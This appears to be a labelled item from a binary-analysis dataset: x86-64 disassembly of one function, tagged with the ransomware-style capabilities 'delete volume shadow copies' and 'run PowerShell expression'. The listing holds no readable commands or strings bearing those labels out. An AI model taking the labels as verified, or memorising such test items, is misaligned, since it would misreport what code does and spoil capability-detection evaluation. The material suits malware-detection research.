Function at 0x41d820
Capabilities:
Delete volume shadow copies
Run powershell expression

Disassembly:
lea r12, [rsp - 0x180]
cmp r12, qword [r14 + 0x18]
jbe 0x41df06
sub rsp, 0x200
mov qword [rsp + 0x1f8], rbp
lea rbp, [rsp + 0x1f8]
mov qword [rsp + 0x208], rax
mov edx, dword [rax + 0x90]
bt edx, 0xc
nop dword [rax + rax]
jae 0x41de6b
mov edx, dword [rax + 0x90]
btr edx, 0xc
cmp edx, 2
ja 0x41d880
cmp edx, 1
je 0x41d889
jmp 0x41ddd6
cmp edx, 4
ja 0x41d9f3
mov rdx, r14
cmp rdx, rax
je 0x41ddc5
mov rdx, qword [rax + 8]
sub rdx, qword [rax]
cmp qword [rax + 0x70], 0
jne 0x41d8c2
cmp byte [rax + 0xb4], 0
je 0x41d8b1
xor r12d, r12d
jmp 0x41d8c5
mov r12b, byte [rax + 0xb9]
test r12b, r12b
sete r12b
nop
jmp 0x41d8c5
xor r12d, r12d
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x210], rbx
test r12b, r12b
jne 0x41d8e2
mov byte [rax + 0xb3], 1
nop
jmp 0x41d8fc
call fcn.0044bd60
mov rax, qword [rsp + 0x208]
mov rdx, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x210]
lea rdi, [rsp + 0x80]
lea rdi, [rdi - 0x30]
mov qword [rsp - 0x10], rbp
lea rbp, [rsp - 0x10]
call fcn.004624f4
mov rbp, qword [rbp]
mov r12, qword [rax + 8]
mov r13, qword [rax]
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x188], r12
cmp qword [rax + 0x50], 0
je 0x41d96c
lea rdx, [rax + 0x50]
lea rcx, [0x006e1181]
mov rdi, rbx
lea rsi, [rsp + 0x80]
mov ebx, 8
mov rax, rdx
call fcn.0041e820
mov rax, qword [rsp + 0x208]
mov rbx, qword [rsp + 0x210]
movups xmmword [rsp + 0x1e0], xmm15
mov qword [rsp + 0x1f0], 0
lea rdx, [0x0041df40]
mov qword [rsp + 0x1e0], rdx
lea rdx, [rsp + 0x80]
mov qword [rsp + 0x1e8], rdx
mov qword [rsp + 0x1f0], rbx
mov qword [rsp], 0
xor ecx, ecx
mov rdi, rax
xor esi, esi
xor r8d, r8d
mov r9d, 0x7fffffff
lea r10, [rsp + 0x1e0]
xor r11d, r11d
mov rax, 0xffffffffffffffff
mov rbx, rax
call fcn.00454f40
mov rdx, qword [rsp + 0x208]
mov r12, qword [rdx + 0x28]
mov qword [rsp + 0x1d0], r12
jmp 0x41dab9
cmp edx, 6
jne 0x41da0a
xor eax, eax
mov rbp, qword [rsp + 0x1f8]
add rsp, 0x200
ret
mov ecx, dword [rax + 0x90]
mov dword [rsp + 0x58], ecx
mov rdx, qword [rax + 0x98]
mov qword [rsp + 0x78], rdx
call fcn.004372e0
lea rax, [0x005acfbd]
mov ebx, 0xc
call fcn.00437be0
mov rax, qword [rsp + 0x208]
nop
call fcn.00437b60
lea rax, [0x005ab9ec]
mov ebx, 7
call fcn.00437be0
mov rax, qword [rsp + 0x78]
nop dword [rax + rax]
call fcn.004379e0
lea rax, [0x005ae997]
mov ebx, 0x13
call fcn.00437be0
mov eax, dword [rsp + 0x58]
mov eax, eax
nop dword [rax]
call fcn.004378e0
call fcn.00437540
call fcn.00437360
lea rax, [0x005ae2b9]
mov ebx, 0x11
nop dword [rax + rax]
call fcn.00435b40
mov r8, qword [rsp + 0x1d0]
mov r8, qword [r8 + 0x28]
mov qword [rsp + 0x1d0], r8
mov r8, qword [rsp + 0x1d0]
test r8, r8
je 0x41db85
cmp qword [r8 + 0x18], 0
je 0x41dafe
lea rax, [r8 + 0x18]
mov ebx, 8
lea rcx, [0x006e1181]
mov rdi, qword [rsp + 0x210]
lea rsi, [rsp + 0x80]
call fcn.0041e820
mov rdx, qword [rsp + 0x208]
mov r8, qword [rsp + 0x1d0]
cmp qword [r8 + 0x28], 0
je 0x41db3a
lea rax, [r8 + 0x28]
mov ebx, 8
lea rcx, [0x006e1181]
mov rdi, qword [rsp + 0x210]
lea rsi, [rsp + 0x80]
call fcn.0041e820
mov rdx, qword [rsp + 0x208]
mov r8, qword [rsp + 0x1d0]
cmp byte [r8 + 1], 0
je 0x41daa5
lea rax, [rsp + 0x1d0]
mov ebx, 8
lea rcx, [0x006e1181]
mov rdi, qword [rsp + 0x210]
lea rsi, [rsp + 0x80]
call fcn.0041e820
mov rdx, qword [rsp + 0x208]
nop
jmp 0x41daa5
mov rbx, qword [rdx + 0x20]
test rbx, rbx
je 0x41db9d
lea rax, [rsp + 0x80]
xor ecx, ecx
call fcn.00422960
nop
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1c0]
xor ebx, ebx
call fcn.00422d80
mov qword [rsp + 0x1c8], rax
lea rax, [rsp + 0x80]
call fcn.00422aa0
test rax, rax
je 0x41dc28
mov rdx, qword [rsp + 0x180]
sub rax, rdx
mov rdx, qword [rsp + 0x1c8]
jmp 0x41dc80
xor edx, edx
test rdx, rdx
je 0x41dbbd
mov r8, qword [rdx + 8]
test r8, r8
je 0x41dbbd
nop
xor r9d, r9d
mov qword [rdx + 8], r9
nop
mov r9, r8
lea rax, [0x006e8040]
jmp 0x41dcb6
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x1b0], rcx
mov qword [rax + 0x10], 0
call fcn.00425380
mov rax, qword [rsp + 0x1b0]
test rax, rax
jne 0x41dc0f
cmp qword [rsp + 0x198], 0
nop
jne 0x41dc6d
cmp qword [rsp + 0x1a8], 0
jne 0x41dc6d
cmp qword [rsp + 0x1a0], 0
jne 0x41dc6d
mov rax, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x1f8]
add rsp, 0x200
ret
lea rax, [0x005b141a]
mov ebx, 0x19
call fcn.00435b40
nop
test rdx, rdx
je 0x41dbe7
mov r8d, dword [rdx]
cmp r8d, eax
jbe 0x41dc97
mov rdx, qword [rdx + 0x10]
jmp 0x41dc80
mov r9d, dword [rdx + 4]
add r8d, r9d
nop
cmp eax, r8d
jb 0x41dbe9
mov rdx, qword [rdx + 0x18]
jmp 0x41dc80
mov rax, qword [rax + 0x220]
test rax, rax
je 0x41dcd4
nop dword [rax + rax]
cmp qword [rax + 0x130], r8
ja 0x41dcaf
cmp qword [rax + 0x100], r8
jbe 0x41dcaf
jmp 0x41dcd6
xor eax, eax
mov r8d, dword [r9 + 0xc]
add r8, qword [rax + 0x128]
mov r10d, dword [r9 + 8]
test r10d, r10d
jl 0x41dcee
xor eax, eax
jmp 0x41dd23
mov byte [rsp + 0x53], bl
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x1d8], r9
neg r10d
movsxd rax, r10d
mov rbx, r8
call fcn.00416020
mov r8, qword [rax + 0x18]
mov rdx, qword [rsp + 0x60]
movzx ebx, byte [rsp + 0x53]
mov r9, qword [rsp + 0x1d8]
mov qword [rsp + 0x70], rax
mov edx, dword [rdx]
add rdx, qword [rsp + 0x180]
test bl, bl
je 0x41dd6a
mov r9d, dword [r9 + 8]
test r9d, r9d
jge 0x41dd47
neg r9d
movsxd r9, r9d
jmp 0x41dd4a
movsxd r9, r9d
mov rax, rdx
mov rbx, r9
mov rcx, r8
mov rdi, qword [rsp + 0x210]
lea rsi, [rsp + 0x80]
call fcn.0041ed40
jmp 0x41dd9c
mov r9d, dword [r9 + 8]
test r9d, r9d
jge 0x41dd7b
neg r9d
movsxd r9, r9d
jmp 0x41dd7e
movsxd r9, r9d
mov rax, rdx
mov rbx, r9
mov rcx, r8
mov rdi, qword [rsp + 0x210]
lea rsi, [rsp + 0x80]
call fcn.0041e820
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x41dbbd
nop
lea rax, [0x0071b2c0]
mov ecx, 2
call fcn.00427220
nop dword [rax]
jmp 0x41dbbd
lea rax, [0x005b0c1e]
mov ebx, 0x18
call fcn.00435b40
cmp edx, 2
jne 0x41da0a
mov ecx, dword [rax + 0x90]
mov dword [rsp + 0x54], ecx
mov rdx, qword [rax + 0x98]
mov qword [rsp + 0x78], rdx
call fcn.004372e0
lea rax, [0x005acfbd]
mov ebx, 0xc
call fcn.00437be0
mov rax, qword [rsp + 0x208]
call fcn.00437b60
lea rax, [0x005ab9ec]
mov ebx, 7
call fcn.00437be0
mov rax, qword [rsp + 0x78]
call fcn.004379e0
lea rax, [0x005ae997]
mov ebx, 0x13
nop
call fcn.00437be0
mov eax, dword [rsp + 0x54]
mov eax, eax
call fcn.004378e0
call fcn.00437540
call fcn.00437360
lea rax, [0x005b3b59]
mov ebx, 0x20
call fcn.00435b40
mov ecx, dword [rax + 0x90]
mov dword [rsp + 0x5c], ecx
mov rdx, qword [rax + 0x98]
mov qword [rsp + 0x78], rdx
call fcn.004372e0
lea rax, [0x005b01da]
mov ebx, 0x16
call fcn.00437be0
mov rax, qword [rsp + 0x208]
nop
call fcn.00437b60
lea rax, [0x005ab9ec]
mov ebx, 7
call fcn.00437be0
mov rax, qword [rsp + 0x78]
nop dword [rax + rax]
call fcn.004379e0
lea rax, [0x005ae997]
mov ebx, 0x13
call fcn.00437be0
mov eax, dword [rsp + 0x5c]
mov eax, eax
nop dword [rax]
call fcn.00437a40
call fcn.00437540
call fcn.00437360
lea rax, [0x005b0206]
mov ebx, 0x16
nop dword [rax + rax]
call fcn.00435b40
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00464340
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.0041d820